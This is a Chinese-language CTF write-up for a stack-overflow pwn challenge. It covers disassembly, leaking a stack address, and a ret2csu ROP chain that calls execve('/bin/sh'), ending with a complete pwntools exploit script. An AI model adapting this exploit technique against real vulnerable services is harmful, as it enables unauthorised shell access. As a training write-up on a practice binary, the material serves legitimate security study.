Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)主体函数非常简单 利用系统调用号实现了一次输入和输出
signed __int64 vuln(){ signed __int64 v0; // rax char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL); return sys_write(1u, buf, 0x30uLL);}还有一个gadget函数 看一下汇编代码
.text:00000000004004D6 ; =============== S U B R O U T I N E =======================================.text:00000000004004D6.text:00000000004004D6 ; Attributes: bp-based frame.text:00000000004004D6.text:00000000004004D6 public gadgets.text:00000000004004D6 gadgets proc near.text:00000000004004D6 ; __unwind {.text:00000000004004D6 push rbp.text:00000000004004D7 mov rbp, rsp.text:00000000004004DA mov rax, 0Fh.text:00000000004004E1 retn.text:00000000004004E1 gadgets endp ; sp-analysis failed.text:00000000004004E1.text:00000000004004E2 ; ---------------------------------------------------------------------------.text:00000000004004E2 mov rax, 3Bh ; ';'.text:00000000004004E9 retn.text:00000000004004E9 ; ---------------------------------------------------------------------------下方的0x3b则为59 是execve的系统调用号
应该是构造rop链 但是这题没有办法泄露libc基址 从而也没有办法获取/bin/sh的地址
所以只能通过写入栈上
要想利用栈 先得获得栈的地址 发现sys_write函数可以打印出0x30字节 而buf距离rbp只有0x10
还有一点需要注意 发现vuln函数的结尾并没有leave指令 也就是说我们只需要覆盖rbp就可以控制程序执行流
.text:00000000004004ED ; __unwind {.text:00000000004004ED push rbp.text:00000000004004EE mov rbp, rsp.text:00000000004004F1 xor rax, rax.text:00000000004004F4 mov edx, 400h ; count.text:00000000004004F9 lea rsi, [rsp+buf] ; buf.text:00000000004004FE mov rdi, rax ; fd.text:0000000000400501 syscall ; LINUX - sys_read.text:0000000000400503 mov rax, 1.text:000000000040050A mov edx, 30h ; '0' ; count.text:000000000040050F lea rsi, [rsp+buf] ; buf.text:0000000000400514 mov rdi, rax ; fd.text:0000000000400517 syscall ; LINUX - sys_write.text:0000000000400519 retn.text:0000000000400519 vuln endp ; sp-analysis failed.text:0000000000400519.text:0000000000400519 ; ---------------------------------------------------------------------------from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",26678)elf = ELF("./pwn")context.log_level = "debug"context.arch = "amd64"main_addr = elf.sym['main']payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr)io.send(payload)io.recvuntil("c")io.recv(16)stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))gdb.attach(io)print(hex(stack_addr))可以看到泄露出了栈上的地址 但是此时我们并没有办法得知其与写入栈上的/bin/sh的偏移
这里的原因暂时没有办法得知 先放着这个疑问
下面我们进行系统调用 由于需要用到三个寄存器 所以这里用到csu
具体的流程我就不过多赘述了
rdi_addr = 0x4005a3syscall_addr = 0x400517int59_addr = 0x4004E2gadget2_addr = 0x400596gadget1_addr = 0x400580payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr)payload += cyclic(0x8)payload += p64(0)payload += p64(1)binsh_addr = stack_addr - 0x138payload += p64(binsh_addr+0x10)payload += p64(0)*3payload += p64(gadget1_addr)payload += cyclic(56)payload += p64(rdi_addr)payload += p64(binsh_addr)payload += p64(syscall_addr)io.sendline(payload)这里重点解释一下三个方面
1.为什么要多出一个p64(int59_addr)在栈上
这是因为call指令的问题 他跳转的是对应地址中存储的值 我们如果直接跳转到int59_addr是调用失败的
2.binsh_addr和stack_addr的偏移是怎么求出来的
我们将断点打在csu执行到call r12那一行
然后gdb看一下栈
可以计算出偏移为0x138
还有第二种办法可以查看到/bin/sh位于栈上的地址 stack 24实际上是以rsp往高地址方向
如果我们使rsp的地址减少 就可以做到查看低地址处的栈内容
set $rsp = $rsp-0x150看到这里你也能够理解我们赋值给r12的binsh_addr+0x10是什么用意了吧
最终exp:
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",26678)elf = ELF("./pwn")context.log_level = "debug"context.arch = "amd64"main_addr = elf.sym['main']payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr)io.send(payload)io.recvuntil("c")io.recv(16)stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))binsh_addr = stack_addr - 0x138rdi_addr = 0x4005a3syscall_addr = 0x400517int59_addr = 0x4004E2gadget2_addr = 0x400596gadget1_addr = 0x400580payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr)payload += cyclic(0x8)payload += p64(0)payload += p64(1)payload += p64(binsh_addr+0x10)payload += p64(0)*3payload += p64(gadget1_addr)payload += cyclic(56)payload += p64(rdi_addr)payload += p64(binsh_addr)payload += p64(syscall_addr)io.sendline(payload)io.interactive()

